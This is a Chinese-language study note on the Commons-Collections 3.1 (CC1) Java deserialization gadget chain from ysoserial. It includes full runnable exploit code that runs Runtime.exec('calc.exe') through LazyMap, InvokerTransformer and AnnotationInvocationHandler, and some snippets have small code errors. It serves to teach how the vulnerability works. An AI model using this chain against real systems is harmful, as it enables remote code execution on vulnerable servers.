在写这篇学习笔记之前,我看了许多篇网上的文章, 发现它们都没有它们所声称的那么容易好理解。

在我完全搞懂这个漏洞之后, 我发现这个漏洞最难的地方并不是说调用链有多复杂,而是我对这个漏洞涉及到的api完全陌生。

如果你已经了解了java反射,反序列化漏洞, commons-collections相关api, 动态代理, 再来看这个漏洞,半个小时应该就能搞懂。

因此对那些想搞懂这个漏洞的人, 最好的方法是对这些不熟悉的api写一些测试代码, 当你对api的使用了解了,构造gadget不过是水到渠成的事情罢了。

环境

还是从ysoserial的payload里,我们看到环境条件如下:

  • jdk版本小于jdk8u71
  • commons-collections等于3.1

我们下载一个jdk1.7, 更新pom.xml commons-collections依赖等于3.1。

1
2
3
4
5
 <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

各种语法、API

先看下ysoserial的payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public InvocationHandler getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

    final Map innerMap = new HashMap();

    final Map lazymapMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return handler;
}

涉及到了commons-collections相关的api,反射, 动态代理等,接下来我们将逐一解释各api,并给出测试代码, 如果你光看代码没法理解,最好手抄到IDE里面调试一遍。

commons-collections

首先是commons-collections的api,有如下这些

1
2
3
4
5
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;

我们先来看LazyMap,顾名思义, LazyMap是“懒加载”的,在它取不到值时, 它会在我们自定义的函数里面生成一个值

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Factory factory = new Factory() {
    public Object create() {
        return new Date();
    }
};
Map lazymap = LazyMap.decorate(new HashMap(), factory);
Object obj = lazy.get("NOW");
System.out.println(obj);
Object obj1 = lazy.get("NOW");
System.out.println(obj1);

在第一次,lazy里面没有NOW的值时,它会调用我们事先写好的factory方法,给它赋一个值,第二次就可以直接拿那个值了。

LazyMap.decorate有两个重载方法,一个是传Factory, 一个是传Transformer, 我们现在要用的就是第二个

img_2.png

再看一下第二个的例子:

1
2
3
4
Transformer transformer = new ConstantTransformer(1);
Map lazymap = LazyMap.decorate(new HashMap(), transformer);
Object obj = lazy.get("NOW");
System.out.println(obj);

这个例子我们用到了ConstantTransformer。

这里要先说一下,当lazy.get(“NOW”) 调用时,发生了什么呢? 它调用了ConstantTransformer的transform方法, 不管是ConstantTransformer还是InvokerTransformer 还是其他Transformer, 只要它被传入LazyMap.decorate的第二个参数,当懒加载触发了就会调用该Transformer的transform方法!

ConstantTransformer, 顾名思义, 它返回了一个常数, 上面的例子就打印了1

接着来看InvokerTransformer, 使用方法和ConstantTransformer是一样的,刚刚说了transform方法最重要,我们就来看它的transform方法

img_3.png

经典的反射应用,只要控制input, iMethodName和iParamTypes就能为所欲为了。 看下为所欲为的测试代码:

1
2
3
4
5
Transformer transformer = new InvokerTransformer("exec", new Class[] {
                String.class}, new Object[] {"calc.exe" });
Map lazymap = LazyMap.decorate(new HashMap(), transformer);
Object obj = lazy.get(Runtime.getRuntime());
System.out.println(obj);

img_4.png

确实为所欲为了!

再加上我们的序列化、反序列化代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
Transformer transformer = new InvokerTransformer("exec", new Class[] {
                String.class}, new Object[] {"calc.exe" });
Map lazymap = LazyMap.decorate(new HashMap(), transformer);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(lazy);
oos.close();

ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Map o = (Map) in.readObject();
Object obj = o.get(Runtime.getRuntime());

着重看我们的最后一行, Object obj = o.get(Runtime.getRuntime()); , 由反序列知识,我们知道,在反序列化时类的readObject方法会自动调用。

那么,我们只要找到一个类, 它的readObject方法可以有lazymap.get方法调用,同时lazymap.get的参数为Runtime.getRuntime(), 我们的漏洞就触发成功了!

然而有这样的类吗? 大概率是没有的,反正大家都没找到。

那么我们可以把剩下的问题总结一下, 还剩下两个问题:

  • 第一:我们得把我们的Runtime.getRuntime().exec()藏在LazyMap.decorate的第二个参数里面
  • 第二: 我们得找到一个类,可以调用我们的lazymap.get方法

藏Runtime.getRuntime()

再看看InvokerTransformer的transform函数

img_5.png

参数input是lazymap.get的参数, 这样貌似怎样都藏不住了。 还有什么方法吗?

有! 这时候我们再看ysoserial的payload,看到里面有个ChainedTransformer, 我们看看它是干嘛的

img_6.png

很简单, 传入一个Transformer数组, 然后在lazymap.get的时候按顺序调用Transformer数组里面的transform函数, 前一个Transformer的transform函数的返回值喂给下一个Transformer的transform函数, 跟人体蜈蚣一样。

那么我们就可以来构造藏住Runtime.getRuntime()的代码了:

1
2
3
4
5
6
7
8
9
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

Transformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);

lazymap.get("xxx");

运行后计算器出来了,可以看到,我们不用再往lazymap.get参数里传Runtime.getRuntime(), 传入任意参数,都可触发了。

加入反序列化代码, 运行:

img_7.png

报错了。 原因很简单,因为Runtime类没有实现java.io.Serializable接口。 解决方法也很简单,用反射

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
        new InvokerTransformer("exec",
                new Class[] { String.class }, new String[]{"calc.exe"}),
         };

Transformer chainedTra`nsformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);

lazymap.get("xxx");`

上面代码粗看可能难以理解,我们可以把问题简化为:

在只输入Runtime.class的情况下,经过ChainedTransformer的transform, 如何调用到Runtime.getruntime.exec函数, 带着这个目的调试,很快就能理解。

找到调lazymap.get的类

这个类就是sun.reflect.annotation.AnnotationInvocationHandler

img_8.png

值得注意的是, 这个lazymap.get的调用并不是在AnnotationInvocationHandler的readObject方法中,而是在invoke方法中,而且这个invoke方法 也没有被readObject方法调用。因此我们得想个办法触发invoke函数。 这就涉及到了动态代理的知识了。

所谓动态代理,就是不编写实现类,直接在运行期创建某个interface的实例。 如果你不知道什么是动态代理,可参考下面文章理解,不然将无法搞懂下面的代码:

那么因为AnnotationInvocationHandler实现了InvocationHandler接口,我们可以以AnnotationInvocationHandler构造一个handle, 这样它的 invoke方法就会在代理函数调用方法时自动调用了。具体代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
Map lazyMap = LazyMap.decorate(innerMap, transformerChain1);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

constructor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class}, handler);

proxyMap.getClass().getMethod("invoke");
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

其中Retention.class只是为了调用AnnotationInvocationHandler的构造函数传入的符合类型的参数,可以是任意实现了Annotation的类

img_9.png

在这里随便找一个就行了:

img_10.png

把所有代码汇总一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package CommonCollection;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class demo {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new String[]{"calc.exe"}),
                new ConstantTransformer(1) };

        Transformer transformerChain1 = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();

        Map lazyMap = LazyMap.decorate(innerMap, transformerChain1);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

        constructor.setAccessible(true);

        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class}, handler);

        handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) in.readObject();

    }
}

那么Commons-Collections1的分析就完成了

TransformedMap的gadget

网上搜cc1的文章时,还有一条链出现的频率非常高, 相对于ysoserial的LazyMap,它用到了TransformedMap。它的触发方式甚至比LazyMap的还要简单一点, 因为它可以直接在AnnotationInvocationHandler的readObject方法中触发, 感兴趣的可以在网上搜一下。

jdk8u71之后版本不可用的原因

img_11.png

readObject方法新定义了一个LinkedHashMap, 之后更是将this.memberValues的值也设为了这个LinkedHashMap, 我们传进来的LazyMap已经不会再进到invoke函数了,整条gadget也就失效了。